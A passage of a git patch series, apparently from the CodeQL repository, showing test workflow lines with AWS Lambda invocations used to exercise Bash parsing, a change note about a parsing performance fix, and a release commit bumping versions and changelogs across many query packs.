1) + c2=$(echo "${STRING_C}" | cut -d "-" -f 2) + # Similar commands that use JSON payloads with string interpolation. + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":["'"${comma_separated_list_e}"'"],"dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + shell: bash From e48a7da8274240c84d0511f6c805ec401375ff2e Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 09:53:50 -0700 Subject: [PATCH 195/271] Actions: Add change note for Bash parsing fixes --- .../lib/change-notes/2025-06-09-bash-parsing-performance.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md diff --git a/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md new file mode 100644 index 00000000000..5ee29557c85 --- /dev/null +++ b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md @@ -0,0 +1,6 @@ +--- +category: minorAnalysis +--- +* Fixed performance issues in the parsing of Bash scripts in workflow files, + which led to out-of-disk errors when analysing certain workflow files with + complex interpolations of shell commands or quoted strings. \ No newline at end of file From 88ba02edf8b08d8862cd4b960866db8d6cf3871a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jun 2025 18:14:51 +0000 Subject: [PATCH 196/271] Release preparation for version 2.22.0 --- actions/ql/lib/CHANGELOG.md | 4 ++++ actions/ql/lib/change-notes/released/0.4.11.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 4 ++++ actions/ql/src/change-notes/released/0.6.3.md | 3 +++ actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-05-28-using-template.md => released/5.1.0.md} | 7 ++++--- cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 4 ++++ cpp/ql/src/change-notes/released/1.4.2.md | 3 +++ cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../Solorigate/lib/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../Solorigate/src/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 4 ++++ csharp/ql/lib/change-notes/released/5.1.8.md | 3 +++ csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 4 ++++ csharp/ql/src/change-notes/released/1.2.2.md | 3 +++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ go/ql/consistency-queries/change-notes/released/1.0.25.md | 3 +++ go/ql/consistency-queries/codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 6 ++++++ .../4.2.7.md} | 7 ++++--- go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 ++++++ .../1.3.0.md} | 7 ++++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 4 ++++ java/ql/lib/change-notes/released/7.3.1.md | 3 +++ java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 4 ++++ java/ql/src/change-notes/released/1.5.2.md | 3 +++ java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 ++++++ .../2.6.5.md} | 7 ++++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 4 ++++ javascript/ql/src/change-notes/released/1.6.2.md | 3 +++ javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ misc/suite-helpers/change-notes/released/1.0.25.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 4 ++++ python/ql/lib/change-notes/released/4.0.9.md | 3 +++ python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 ++++++ .../{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} | 7 ++++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 4 ++++ ruby/ql/lib/change-notes/released/4.1.8.md | 3 +++ ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 4 ++++ ruby/ql/src/change-notes/released/1.3.2.md | 3 +++ ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.10.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.10.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ shared/controlflow/change-notes/released/2.0.9.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ shared/dataflow/change-notes/released/2.0.9.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.25.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.3.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ shared/rangeanalysis/change-notes/released/1.0.25.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.25.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 4 ++++ shared/ssa/change-notes/released/2.0.1.md | 3 +++ shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ shared/threat-models/change-notes/released/1.0.25.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ shared/tutorial/change-notes/released/1.0.25.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ shared/typeflow/change-notes/released/1.0.25.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ shared/typeinference/change-notes/released/0.0.6.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ shared/typetracking/change-notes/released/2.0.9.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.25.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.12.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.25.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.25.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-06-05-swift.6.1.2.md => released/5.0.1.md} | 7 ++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 4 ++++ swift/ql/src/change-notes/released/1.1.5.md | 3 +++ swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 160 files changed, 378 insertions(+), 98 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.11.md create mode 100644 actions/ql/src/change-notes/released/0.6.3.md rename cpp/ql/lib/change-notes/{2025-05-28-using-template.md => released/5.1.0.md} (82%) create mode 100644 cpp/ql/src/change-notes/released/1.4.2.md create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md create mode 100644 csharp/ql/lib/change-notes/released/5.1.8.md create mode 100644 csharp/ql/src/change-notes/released/1.2.2.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.25.md rename go/ql/lib/change-notes/{2025-05-22-bigquery-client-query-sql-injection.md => released/4.2.7.md} (72%) rename go/ql/src/change-notes/{2025-05-01-html-template-escaping-bypass-xss.md => released/1.3.0.md} (93%) create mode 100644 java/ql/lib/change-notes/released/7.3.1.md create mode 100644 java/ql/src/change-notes/released/1.5.2.md rename javascript/ql/lib/change-notes/{2025-05-30-url-package-taint-step.md => released/2.6.5.md} (74%) create mode 100644 javascript/ql/src/change-notes/released/1.6.2.md create mode 100644 misc/suite-helpers/change-notes/released/1.0.25.md create mode 100644 python/ql/lib/change-notes/released/4.0.9.md rename python/ql/src/change-notes/{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} (58%) create mode 100644 ruby/ql/lib/change-notes/released/4.1.8.md create mode 100644 ruby/ql/src/change-notes/released/1.3.2.md create mode 100644 rust/ql/lib/change-notes/released/0.1.10.md create mode 100644 rust/ql/src/change-notes/released/0.1.10.md create mode 100644 shared/controlflow/change-notes/released/2.0.9.md create mode 100644 shared/dataflow/change-notes/released/2.0.9.md create mode 100644 shared/mad/change-notes/released/1.0.25.md create mode 100644 shared/quantum/change-notes/released/0.0.3.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.25.md create mode 100644 shared/regex/change-notes/released/1.0.25.md create mode 100644 shared/ssa/change-notes/released/2.0.1.md create mode 100644 shared/threat-models/change-notes/released/1.0.25.md create mode 100644 shared/tutorial/change-notes/released/1.0.25.md create mode 100644 shared/typeflow/change-notes/released/1.0.25.md create mode 100644 shared/typeinference/change-notes/released/0.0.6.md create mode 100644 shared/typetracking/change-notes/released/2.0.9.md create mode 100644 shared/typos/change-notes/released/1.0.25.md create mode 100644 shared/util/change-notes/released/2.0.12.md create mode 100644 shared/xml/change-notes/released/1.0.25.md create mode 100644 shared/yaml/change-notes/released/1.0.25.md rename swift/ql/lib/change-notes/{2025-06-05-swift.6.1.2.md => released/5.0.1.md} (50%) create mode 100644 swift/ql/src/change-notes/released/1.1.5.md diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 466440c3e33..53bf9173713 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.11 + +No user-facing changes. + ## 0.4.10 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md new file mode 100644 index 00000000000..d29b796a245 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.11.md @@ -0,0 +1,3 @@ +## 0.4.11 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index e0c0d3e4c2a..80a4283b3e4 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.10 +lastReleaseVersion: 0.4.11 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 7a7de08379b..5919efe3b67 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.11-dev +version: 0.4.11 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 687df395d28..3140211bc4a 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.6.3 + +No user-facing changes. + ## 0.6.2 ### Minor Analysis Improvements diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md new file mode 100644 index 00000000000..83374bcef56 --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.3.md @@ -0,0 +1,3 @@ +## 0.6.3 + +No user-facing changes. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 5501a2a1cc5..b7dafe32c5d 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.2 +lastReleaseVersion: 0.6.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 3d1ae2cb47f..9e45e764ede 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.3-dev +version: 0.6.3 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 67339c22ef0..c46ab004464 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. + ## 5.0.0 ### Breaking Changes diff --git a/cpp/ql/lib/change-notes/2025-05-28-using-template.md b/cpp/ql/lib/change-notes/released/5.1.0.md similarity index 82% rename from cpp/ql/lib/change-notes/2025-05-28-using-template.md rename to cpp/ql/lib/change-notes/released/5.1.0.md index 7c13e1ae0ee..b7da377062f 100644 --- a/cpp/ql/lib/change-notes/2025-05-28-using-template.md +++ b/cpp/ql/lib/change-notes/released/5.1.0.md @@ -1,4 +1,5 @@ ---- -category: feature ---- +## 5.1.0 + +### New Features + * Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index c9e54136ca5..dd8d287d010 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.1.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 28c6da0c865..5d1966180cc 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.1-dev +version: 5.1.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index 49bf1f975ee..4edd493015a 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.4.2 + +No user-facing changes. + ## 1.4.1 ### Minor Analysis Improvements diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md new file mode 100644 index 00000000000..37be01f40d9 --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.2.md @@ -0,0 +1,3 @@ +## 1.4.2 + +No user-facing changes. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index 43ccf4467be..a76cacdf799 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.1 +lastReleaseVersion: 1.4.2 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index bdef1897e30..52f0f08a4c5 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.2-dev +version: 1.4.2 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index 0a441eeacb2..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 2eee1633d76..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index cd4f81e57d6..212ac56d39d 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index 0a441eeacb2..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 2eee1633d76..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 75b5716c232..16bf3587403 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 1fcecc7f8e9..5eeedc6f77b 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 5.1.8 + +No user-facing changes. + ## 5.1.7 ### Minor Analysis Improvements diff --git a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md new file mode 100644 index 00000000000..9e1ff36f31f --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.8.md @@ -0,0 +1,3 @@ +## 5.1.8 + +No user-facing changes. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index f26524e1fd9..8ffbb79d224 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.7 +lastReleaseVersion: 5.1.8 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 8404a7c29a6..84b613c8497 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.8-dev +version: 5.1.8 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index b2384df0d06..4eabf64f6a5 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.2.2 + +No user-facing changes. + ## 1.2.1 ### Minor Analysis Improvements diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md new file mode 100644 index 00000000000..7b520f6c258 --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.2.md @@ -0,0 +1,3 @@ +## 1.2.2 + +No user-facing changes. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 73dd403938c..0a70a9a01a7 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.2.2 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index df26e2790d3..24cacd047ce 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.2-dev +version: 1.2.2 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index a684ef060a5..3fa1fa4c69b 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ba1482c8125..aaa9a44cb15 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.25-dev +version: 1.0.25 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 58e70d0c2bd..879662575e2 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + ## 4.2.6 No user-facing changes. diff --git a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md b/go/ql/lib/change-notes/released/4.2.7.md similarity index 72% rename from go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md rename to go/ql/lib/change-notes/released/4.2.7.md index 49d040dc409..118b032c018 100644 --- a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md +++ b/go/ql/lib/change-notes/released/4.2.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.2.7 + +### Minor Analysis Improvements + * The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 2005a7a7f17..0c0ee7d4dfd 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.6 +lastReleaseVersion: 4.2.7 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 09e8ba0d027..6cf36447983 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.7-dev +version: 4.2.7 groups: go dbscheme: 